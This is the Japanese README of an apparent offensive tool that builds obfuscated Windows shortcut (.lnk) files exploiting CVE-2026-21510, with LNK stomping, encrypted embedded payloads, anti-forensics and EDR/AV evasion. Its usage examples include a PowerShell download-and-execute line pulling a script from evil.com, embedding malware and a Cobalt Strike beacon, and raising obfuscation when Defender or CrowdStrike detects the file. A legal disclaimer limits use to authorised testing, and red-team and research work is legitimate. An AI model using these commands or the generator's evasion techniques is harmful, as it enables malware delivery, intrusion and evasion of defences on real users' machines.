
CVE-2026-21510を悪用する難読化された.lnkファイルを生成し、LNKストンピング、暗号化ペイロード、および認可されたペネトレーションテストやレッドチーム運用のためのアンチフォレンジック機能を備えています。
README EpSiLoNPoInTlnk CVE-2026-21510 - .LNK ジェネレーター CVE-2026-21510(Windows ShellLink リモートコード実行)の脆弱性を利用した .lnk ファイル生成ツール。 オフェンシブセキュリティ研究、許可されたペネトレーションテスト、脆弱性分析のために設計されています。
法的免責事項 ⚠️ このツールは、合法的かつ許可された用途のみを目的としています。 システムやネットワークに対する不正使用は、現地および国際法(例:Computer Fraud and Abuse Act (CFAA)、GDPR、フランスの Godfrain 法)に違反します。 作者は、誤用によるいかなる責任も負いません。(下記の免責条項を参照してください。)
説明 このジェネレーターは、Windows ショートカット処理における脆弱性 CVE-2026-21510 を利用する難読化された .lnk ファイルを作成します。 以下の機能を統合しています:
LNK Stomping(5 種類のバリアント:dot、path_segment、relative、double_extension、unicode)
ランダムな CLSID と PKEY を使用した PropertyStore
KnownFolderDataBlock(ランダムまたはターゲット指定の KnownFolderID)
EnvironmentVariableDataBlock(Unicode 難読化、動的変数)
難読化(レベル 1〜5:TrackerDataBlock、ConsoleDataBlock、ランダムブロック)
埋め込みおよび暗号化されたペイロード(AES-256-CBC + XOR)
アンチフォレンジック(タイムスタンプを 0 に、ファイルサイズを 0 に、メタデータ最小化)
EDR/AV 回避(正規プロセス、PowerShell で難読化された引数)
ランダムバリアント生成(シグネチャ回避のための 10 以上の一意なバリアント)
前提条件 システム OS:Windows(生成された .lnk のテスト用)または Linux/macOS(生成用)。
Python:≥ 3.10。 依存関係: pip install pycryptodome
推奨ツール 解析:PEStudio、Detect It Easy (DIE)
デバッグ:x64dbg、WinDbg
テスト:隔離された Windows 仮想マシン(例:VirtualBox 上の Windows 10/11)。
インストール リポジトリをクローン: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk 依存関係をインストール: pip install -r requirements.txt (任意)仮想環境を作成: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
使用方法
基本生成 python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk CVE-2026-21510 を使用して calc.exe を起動する .lnk を生成します。
詳細オプション オプション 説明 デフォルト値 --target ターゲットパス(例:C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args ターゲットへの引数(例:/c whoami) /c calc.exe --output .lnk の出力パス ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir 作業ディレクトリ C:\Windows\System32 --description ショートカットの説明 ランダムな文字列 --unc UNC パスを使用(?\C:...) False --lnk-stomping LNK Stomping を有効化 True --stomping-variant LNK Stomping のバリアント(dot、path_segment、relative、double_extension、unicode、random) random --obfuscation 不要な ExtraData ブロックを追加 True --obfuscation-level 難読化レベル(1〜5) 5 --embed-payload 埋め込むファイルのパス(例:payload.bin) None --encrypt-payload ペイロードを暗号化(AES-256-CBC + XOR) True --anti-forensics アンチフォレンジック技術を適用 True --randomize-clsid PropertyStore の CLSID をランダム化 True --randomize-known-folder KnownFolderID をランダム化 True --obfuscate-arguments 引数を難読化(PowerShell) True --generate-variants N 個のランダムバリアントを生成 0 --debug 詳細デバッグモード(詳細ログ) False
例
例 1:埋め込みペイロードを使用したエクスプロイト
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
暗号化(AES-256 + XOR)および難読化されたペイロードを含む .lnk を生成します。
例 2:10 個のランダムバリアントの生成
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
EDR/AV シグネチャを回避するための 10 個の一意なバリアントを作成します。
例 3:ミニマリストモード(テスト用)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
難読化されていない .lnk を生成します(解析またはデバッグ用)。
技術的動作
ShellLink ヘッダー(0x4C 固定バイト + オフセット): LinkCLSID:00021401-0000-0000-C000-000000000046(必須)。 LinkFlags:HasRelativePath、HasWorkingDir、IsUnicode などを有効化するように設定。
StringData: RelativePath:ターゲットパス(有効な場合は LNK Stomping 付き)。 WorkingDir:作業ディレクトリ(例:C:\Windows\System32)。 Arguments:難読化された引数(PowerShell、cmd など)。
ExtraData ブロック(重要度順): PropertyStoreDataBlock:PKEY_AppUserModel_ID を含む(ランダムな CLSID)。 KnownFolderDataBlock:システムフォルダを指す(例:%SystemRoot%)。 EnvironmentVariableDataBlock:Mark-of-the-Web (MotW) の前に変数の展開を強制。 難読化ブロック(obfuscation_level に応じて): TrackerDataBlock(レベル 1) ConsoleDataBlock(レベル 2) DarwinDataBlock、ShimDataBlock など(レベル 3〜5)
埋め込みペイロード(--embed-payload の場合):AES-256-CBC + XOR で暗号化。
ペイロードは AES-256-CBC(32 バイトのランダムキー、16 バイトの IV)で暗号化されます。
AES キーの最初の 16 バイトで XOR レイヤーが適用されます。
キーと IV は、後で復号化するために ShimDataBlock に保存されます。
テストと検証
ファイルの最小サイズ。
HeaderSize と CLSID の有効性。
必要な LinkFlags の存在。
ExtraData ブロック(PropertyStore、KnownFolder など)の構造。
実行(隔離環境内):.lnk をダブルクリックして動作を観察します。Process Monitor (ProcMon) を使用してシステムコールを分析します。
EDR/AV 検出:Windows Defender や CrowdStrike などのツールでテストします。.lnk が検出された場合は、obfuscation_level を上げるか、一部のオプションを無効にします。
使用例 シナリオ コマンド 説明 ペネトレーションテスト --target "C:\Windows\System32\cmd.exe" --args "/c whoami" ターゲットマシンでエクスプロイトが機能するか確認します。 レッドチーム --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 難読化された Cobalt Strike ペイロードを含む .lnk を生成します。 研究 --generate-variants 50 --output-dir ./samples EDR 検出をテストするための 50 個のバリアントを作成します。 デバッグ --debug --obfuscation False .lnk の構造を分析するための詳細ログを表示します。 貢献 貢献は歓迎します! 貢献方法は以下のとおりです:
プロジェクトをフォークします。
ブランチを作成します(git checkout -b feature/新しい機能名)。
変更をコミットします(git commit -m "機能 X の追加")。
ブランチにプッシュします(git push origin feature/新しい機能名)。
プルリクエストを開きます。 貢献アイデア:
LNK Stomping の新しいバリアントを追加する。
他の暗号化アルゴリズムを実装する(例:ChaCha20)。
引数の難読化を改善する(例:JScript の使用)。
.lnk 構造を検証するための単体テストを追加する。
ライセンス このプロジェクトは MIT ライセンスの下で提供されています。 詳細については LICENSE ファイルを参照してください。
免責条項 🚨 免責条項
📜 免責条項(DISCLAIMER)
このツールを使用する前に注意深くお読みください。
⚠️ 明示的な法的警告
このツールのユーザー(以下「ユーザー」)は、以下の条項を明示的に認識し、同意するものとします:
合法的な使用のみ
このツールは、以下のような合法的かつ許可された用途のみを目的としています:
学術的または専門的な枠組みでのコンピュータセキュリティ研究。
ユーザーが所有者から書面による許可を得ているシステムに対するペネトレーションテスト(ペンテスト)。
管理された環境(例:セキュリティラボ、CTF、許可されたバグバウンティ)での脆弱性分析。
その他の使用は固く禁止されており、多くの法域で刑事犯罪となる可能性があります(これに限定されません):
フランス:1988 年 1 月 5 日の法律第 88-19 号(Godfrain 法)、刑法第 323-1 条から第 323-7 条(不正アクセス、データ改ざんなど)。
欧州連合:情報システムへの攻撃に関する指令 2013/40/EU。
米国:Computer Fraud and Abuse Act (CFAA)、18 U.S. Code § 1030。
その他の国:同等の現地法(例:英国の Computer Misuse Act)。
保証の欠如
著者(EpSiLoNPoInT)は、以下について明示的または黙示的な保証を一切提供しません:
このツールの信頼性、正確性、または有用性。
コード内のバグや脆弱性の不存在。
すべてのシステムまたは環境との互換性。
ツールの使用によって得られる結果。
ユーザーは、このツールの使用に関連するすべてのリスクを負担します(これに限定されません):
自身のシステムまたは第三者システムに生じたハードウェアまたはソフトウェアの損害。
適用される法律違反による法的結果。
データ損失またはサービス中断。
責任の制限
いかなる場合においても、著者、貢献者、またはこのツールの作成、制作、配布に関与したその他の当事者は、以下について責任を負いません:
あらゆる損害(直接的、間接的、付随的、特別、懲罰的、または結果的損害)について(これに限定されません):
利益の喪失。
データの喪失またはファイルの破損。
評判への損害。
ユーザーが被る訴訟または罰金。
著者がそのような損害の可能性について知らされていた場合でも同様です。
法律および規制の遵守
ユーザーは、その法域で適用されるすべての法律、規制、基準を遵守することに同意します(これに限定されません):
データ保護法(例:EU の GDPR)。
サイバーセキュリティおよびコンピュータ詐欺に関する法律。
雇用主または組織のセキュリティポリシー。
ユーザーは、これらの法律または義務の違反から生じるあらゆる請求、損害、または費用(弁護士費用を含む)について、著者を補償し、免責することに同意します。
悪意のある再配布の禁止
ユーザーは、以下を固く禁止されます:
悪意のある目的でこのツールを販売、賃貸、または再配布すること。
サイバー犯罪の武器(例:ランサムウェア、スパイウェア)にするためにコードを変更すること。
明示的な許可なしに重要インフラ(例:病院、政府、銀行)を標的にこのツールを使用すること。
この免責条項を伝えることなく第三者とこのツールを共有すること。
第三者に対する責任の免除
このツールは、サードパーティのライブラリ(例:pycryptodome)と相互作用する場合があります。
著者は、これらのライブラリの動作または脆弱性を管理せず、責任を負いません。
ユーザーは、使用するすべての依存関係のライセンスとセキュリティを確認する必要があります。
自己責任での使用
このツールを使用することにより、お客様はこの条項の条件を完全かつ無条件に受け入れるものとします。
これらの条件に同意しない場合は、このツールを使用せず、お手元のすべてのコピーを直ちに削除してください。
管轄および準拠法
この条項は、フランス共和国の法律に準拠し、それに従って解釈されます。
この条項またはこのツールの使用から生じる、または関連する紛争は、パリ(フランス)の裁判所の専属管轄権に服します。
🔐 セキュリティに関する推奨事項
このツールを安全かつ合法的に使用するために: ✅ 常に仮想環境(例:VirtualBox、VMware)でテストを隔離してください。 ✅ 所有していないシステムでテストする前に、書面による許可を取得してください。 ✅ 偶発的な漏洩を防ぐため、テストマシンのネットワーク接続を無効にしてください。 ✅ 動作を分析するために監視ツール(例:Wireshark、Process Monitor)を使用してください。 ✅ 脆弱性を責任を持って報告してください(例:バグバウンティプログラムを通じて)。 ❌ 許可なく本番システムでテストしないでください。 ❌ 生成されたエクスプロイトを許可のない人物と共有しないでください。 ❌ 悪意のあるペイロードを公にアクセス可能なシステムに保存しないでください。
📞 連絡先
このツールに関する法的または技術的な質問については:
著者:EpSiLoNPoInT
GitHub:EpSiLoNPoInTOrI
⚠️ 注:著者は、このツールの違法または非倫理的な使用に対するサポートは一切提供しません。
📅 条項の日付
最終更新日:2026 年 5 月 9 日 バージョン:1.0